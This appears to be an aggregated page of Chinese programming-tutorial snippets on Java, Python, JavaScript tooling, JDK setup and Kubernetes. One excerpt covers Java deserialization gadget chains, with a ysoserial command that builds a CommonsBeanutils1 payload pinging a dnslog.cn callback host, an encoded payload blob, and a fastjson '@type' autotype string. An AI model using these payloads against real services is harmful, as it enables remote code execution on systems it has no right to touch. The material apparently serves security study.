将自己学习的Java基础整理出来,方便复习和记忆~~ 一、Java的历史 1、Java开发分成了3个方向 Java SE:主要用于桌面程序的开发,学习Java EE和Java ME的基础 Java EE...包——格式化 java.sql 包——JDBC java.io 包——做输入输出的 java.net 包——做网络 第二章、Java语言基础 1、标识符和关键字 1.标识符是一个名字,用来标识类名、变量名...从现实世界中客观事物(即对象)出发来构造软件系统,并且在系统构造中尽可能运用人类的自然思维方式。 类实际上就是封装对象和属性的载体,而对象是类抽象出来的一个实例。通过实体对象来解决一些实际问题。...作用范围:有效范围从该变量的声明开始到该变量的结束为止。 (5)权限修饰符 权限修饰符主要包括private、public和protected,修饰符控制着对类和类的成员变量以及成员方法的访问。...第七章 Java集合类 1 集合类概述 Java语言的Java.util 包中提供了一些集合类,这些集合类又被称为容器。
JAVA 从入门到放弃 (1) 课程计划源于廖雪峰的java教程。笔记的大部分内容都不是我写的,不过记下的demo至少是我亲自跑过的。整个课程大概计划写20篇笔记,涉及Java SE的各方面。...•Java工程师也是市场需求最大的软件工程师•上手后掌握其它语言相当容易 从互联网到企业平台,Java是应用最广泛的编程语言,原因在于: •Java是基于JVM虚拟机的跨平台语言,一次编写,到处运行;•...所以JSR是一系列的规范,从JVM的内存模型到Web程序接口,全部都标准化了。而负责审核JSR的组织就是JCP。...;•javadoc:用于从Java源码中自动提取注释并生成文档;•jdb:Java调试器,用于开发阶段的运行调试。...; 它用来打印一个字符串到屏幕上。
---- 网络编程概述 java是 Internet 上的语言,它从语言级上提供了对网络应用程序的支持,程序员能够很容易开发常见的网络应用程序。...Java提供的网络类库,可以实现无痛的网络连接,联网的底层细节被隐藏在 Java 的本机安装系统里,由 JVM 进行控制。...并且 Java 实现了一个跨平台的网络库,程序员面对的是一个统一的网络编程环境。...TCP/IP协议模型从更实用的角度出发,形成了高效的四层体系结构,即物理链路层、IP层、传输层和应用层。...如果套接字未连接,则返回 -1。
摸了很久勉强看完了Python的入门,看完了Python与C++和Java的差别之处,以此权当笔记来写这篇。...的一个浮点数,max(x1,x2,x3,...)返回最大值等等等等,详细去网页查找。...3.Python字符串支持加号(+)连接 4.可以使用方括号加下标来取得字符串的某个字符(类似C的char*操作),可以使用[start:end]来取得字符串的子串,下标都是从0开始计算的...4.列表方括号实际上还有很实用的步长截取,即方括号的第三个参数,也就是从开始地方按照步长来提取元素组成新的列表,利用负数步长可以很方便地完成列表逆序,字符串逆序,且括号参数是可以缺省的。...,也就是变为从大到小排序 ?
从编程语言生态看Dart大多数主流编程语言是上个世纪开发的:七十年代(如C)、八十年代(如C++)、九十年代(如Java、Python、JavaScript)。...从面向机器的语言、面向过程的语言到面向对象的语言,编程语言的历史也经历了由繁到简。从汇编 到C/C++ ,然后到Java,衍生的JavaScript,Dart,个人希望其一统大前端开发。...但是C++ Go swift等传统静态语言开发成本太高(阿里从php到java,京东从asp到java),于是需要新的静态类型语言。跃进阶段,静态类型语言的新黄金时代。...过完年再整理下………………参考内容:C、C++、Java到Python,编程入门学习什么语言好?...- 不中的回答 - 知乎 https://www.zhihu.com/question/31100089/answer/59549237转载本站文章《从java到JavaScript(1),看Dart:
1....背景 首先,说明一下,这是一篇关于 Java Web 基础入门的文章,上学期开始学习 Java Web ,看了不少有关 「XXX从入门到精通」的书籍,近期,要帮着导师带几名本科生,所以决定总结一下以前学的...当Web浏览器(客户端)连到服务器上并请求文件时,服务器将处理该请求并将文件反馈到该浏览器上,附带的信息会告诉浏览器如何查看该文件(即文件类型)。 ?...JSP 实质上也是一个HTML页面,只不过他包含用于产生动态网页内容的 Java 代码,这些 Java 代码可以是 Java Bean、SQL语句等。...DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-
本文是Python从入门到大师共100教程前言篇,系列文章教程已经在CSDN完结,公众号每日一更。...不过,很多新特性后来也被移植到旧的Python 2.6,2.7版本 Python的特性 ? (1)简单易学:Python极其容易上手,因为Python有极其简单的说明文档。...这样就不必创建完整的list,从⽽节省⼤量的空间。...从榜单中我们可以看到,前三名分别为Java、C、Python。相较于上个月,Python继续以1.85% 上升至 10.11%,以10.11% 的份额稳居第三。...今天的文章到这里就结束了,如果喜欢本文的话,请来一波素质三连,给我一点支持吧(关注、在看、点赞)。 - END -
1,题目:有1、2、3、4个数字,能组成多少个互不相同且无重复数字的三位数?都是多少? 程序分析:可填在百位、十位、个位的数字都是1、2、3、4。组成所有的排列后再去掉不满足条件的排列。...*/ for (j = 1; j < 5; j++) for (k = 1; k < 5; k++) { if (i !...利润(I)低于或等于10万元时,奖金可提10%;利润高于10万元,低于20万元时,低于10万元的部分按10%提成,高于10万元的部分,可可提成7.5%;20万到40万之间时,高于20万元的部分,可提成5%...;40万到60万之间时高于40万元的部分,可提成3%;60万到100万之间时,高于60万元的部分,可提成1.5%,高于100万元时,超过100万元的部分按1%提成,从键盘输入当月利润I,求应发放奖金总数...程序源代码: #include main() { int i,j; printf("\1\1\n");/*输出两个笑脸*/ for(i=1;i<11;i++) { for(j=1
本文已收录至个人 Github仓库:cs-docs 1. 前言 要进行 Java 开发,那怎么能少得了 JDK 呢,那么就首先来教大家如何安装并配置 JDK; 2....新建环境变量 JAVA_HOME,然后变量值填入刚才安装 JDK 的路径(刚才提醒过要记住!)...; 编辑 Path 环境变量,然后新建一个变量值,填入如下内容:%JAVA_HOME%\bin; 各种确定,然后突出系统属性即可,到这一步,理论上我们的 JDK 就安装并配置成功了,接下来我们就去确认一下到底安装好了没...你的第一个 Java程序:HelloWorld 好了,经过上面的安装配置,我们就可以开始我们的第一个 Java 程序编写了,我们不需要任何的基础,只需要你按照上面的步骤配置好 JDK,就可以了,下面就来具体实践...java Main 4.
这个是非常值得研究,下面我们来看看java内置的集中线程池是怎么样对这几个参数进行配置的。...1、ThreadPoolExecutor newFixedThreadPool(int nThreads):工作线程数和最大线程数相同,也就是工作线程一直都是一样的线程池,同时这个缓存队列是非常的大size...newSingleThreadExecutor() { return new FinalizableDelegatedExecutorService (new ThreadPoolExecutor(1,...1, 0L, TimeUnit.MILLISECONDS, new LinkedBlockingQueue
最近看大家开发测试平台热情很高,本系列就带大家从0到1开发测试平台,技术栈主要是springboot+vue element ui(单module单体应用无权限认证),如果关注的人多后期会演进到springcloud...dependency> 在pom.xml文件里添加数据库驱动坐标 mysql mysql-connector-java...-------------------- -- Records of user -- ---------------------------- INSERT INTO `user` VALUES ('1'...org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; import java.util.List
echart从0到1Apache ECharts 一个基于 JavaScript 的开源可视化图表库, 这里记录echart入门基础概念和api使用 安装 npm i -D echarts // or...} ], yAxis: [{ gridIndex: 0 }, { gridIndex: 1 }], grid: [{ bottom: '55%' }, { top: '55%' }],...type: 'bar', seriesLayoutBy: 'row' }, // column 模式, 对应数据列数量 { type: 'bar', xAxisIndex: 1,...yAxisIndex: 1 }, { type: 'bar', xAxisIndex: 1, yAxisIndex: 1 }, { type: 'bar', xAxisIndex: 1..., yAxisIndex: 1 }, { type: 'bar', xAxisIndex: 1, yAxisIndex: 1 } ] }; 命名维度 可以使用dimensions 为各维度数据指定名称
canary --yes add 安装包, 类似 npm i package, // 为所有包安装 dayjs 依赖 lerna add dayjs 参数: --scope 限制安装范围 // 只为包 pkg-1...安装依赖 dayjs lerna add dayjs --scope=pkg-1 // 等价于 cd pkg-1/ && npm i dayjs --dev 开发依赖 lerna add rollup...--profile --profile-location=logs/profile/ -- import 导入外部独立包, 例如我们之前为使用lerna 管理的独立npm包, 导入到lerna
/13Ywq1qCTYIwkjAE2BiaDwJYKfpTVWwzIkXl9iL70AumZ4LTp1rTsVGThQjS1aV/kNQqC1cF7YAu38A6rlVGUC7dXeAf0IUIa2p+...+8s1uRQ+zc0Yzw0l5jvHc1EKYsjKSYVM9uiY3AbMPTZrOvwMnShmZeYowCHubdtoC4QVrApQ1rWnNBF+VE/v8PV5XTPuwr5H5p1dy04XpLxaK1hCRjnkhnw7RFX0nWPahxWA...+1Lb2fcb0+GfIlo27JbWi/WmyoaBwiCemd58ouTLC1ni79dXa8PZbrTBx6mPuMJR/ZTCemY+Y+KiVKtOvG3uCiQOG48U1xD+xf1XTxRS9CkfYgid1HFet8WbpbfsCktyCqlofZN.../onG+dr1YdkdH1tDTYgoMTu7diA5pjFJL5chCmCwTOhIMiHxzfa38yZ6WFNQz0S1owBpdlYqLY5s7vBMlyrmRZH33yGQEz4S5V1f6w...+z+9XXjZOG7x8tihmXxwdvQVzi13O72w6o1hid+Hn7i3zP1UHBGT1yKgt2jjyQsezX2cMlVf1yRrsm/e7pMjZ7l7m2gLVV67v1n1cq9gkX502b0Dq
一旦把它部署到生产环境或扩展为多个应用,您显然需要许多托管在相同位置的容器来协同提供各种服务。随着这些容器的累积,您运行环境中容器的数量会急剧增加,复杂度也随之增长。...容器集会将网络和存储从底层容器中抽象出来。这样,您就能更加轻松地在集群中移动容器。 复制控制器(Replication controller):用于控制应在集群某处运行的完全相同的容器集副本数量。
.*; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap; public class urldns....*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class cc....*; import java.lang.reflect.Field; import java.util.PriorityQueue; public class CB1 { // 修改值的方法...-jar ysoserial-master-6eca5bc740-1.jar CommonsBeanutils1 "ping gj9qn9.dnslog.cn" > payload.class python...+IYQLmL8cehaMPcnBDclNaEN6eZrPvsEX7eApt5SJEZkmow+ZPsEsnh4wrnHoe7p8RjGVu6P/onx7nrFzZln9d4RC1N8vxEVPUlYZXU7xsMRs35Q8ziFH1EJ1jl
= new User("小李",10); String JsStr1= JSONObject.toJSONString(user1); System.out.println...(JsStr1); User user2 = new User("大李",100); String JsStr2= JSONObject.toJSONString(user2...String str = "{\"@type\":\"com.naihe.User\",\"age\":1000,\"name\":\"老李\"}"; Object obj1...= JSONObject.parse(str); System.out.println(obj1); Object obj2 = JSONObject.parseObject...; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class
/src'], // 强制定位到根节点的 `node_modules` 包, 防止同类包的多次绑定 dedupe: [], // 可操作的文件类型 extensions: ['.js',...tsconfig > tsconfigDefaults tsconfigOverride:{...}, // 是否做校验 check: true, // 错误级别; 0: Error 1:...Warning 2: Info 3: Debugs verbosity: 1, // 是否删除旧的构建文件 clean: false, // 缓存地址 cacheRoot: '',
之前学的node也忘得差不多了,而且感觉学的不扎实,因为学了就忘,表明自己没有真正的理解到,所以要来一次0到1的学习。 夏天终于来了,好热好热。.../日记"); ws.write("2/1 今天 xxxx \n"); ws.write("2/2 ...xxxx \n"); ws.write("2/3 ...xxxx \n"); ws.write("...__dirname保存的是所在的文件的所在目录的绝对路径 注意看要怎么写才对 批量重命名 一定要注意,文件中的路径,都是相对于终端来说的,千万不要写错 总结: 文件读取 文件读取顾名思义,就是通过程序从文件中取出其中的数据
领取专属 10元无门槛券
手把手带您无忧上云